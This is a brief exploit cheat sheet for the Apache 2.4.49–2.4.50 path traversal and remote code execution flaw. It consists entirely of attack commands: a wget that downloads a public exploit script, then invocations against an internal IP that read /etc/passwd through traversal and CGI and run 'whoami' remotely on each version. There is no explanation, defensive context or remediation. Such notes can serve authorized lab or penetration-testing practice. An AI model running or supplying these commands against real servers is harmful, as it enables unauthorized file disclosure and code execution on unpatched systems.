Apache 2.4.49 - 2.4.50 RCE Path Traversal
wget https://raw.githubusercontent.com/battleoverflow/apache-traversal/refs/heads/main/exploit.py
# 2.4.49
python exploit.py -v --ip 192.168.1.3 --port 80 --path "/etc/passwd"
python exploit.py -v --ip 192.168.1.3 --port 80 --cgi --path "/etc/passwd"
python exploit.py -v --ip 192.168.1.3 --port 80 --cgi --rce --cmd "whoami"
# 2.4.50
python exploit.py -v -s --ip 192.168.1.3 --port 80 --path "/etc/passwd"
python exploit.py -v -s --ip 192.168.1.3 --port 80 --cgi --path "/etc/passwd"
python exploit.py -v -s --ip 192.168.1.3 --port 80 --cgi --rce --cmd "whoami"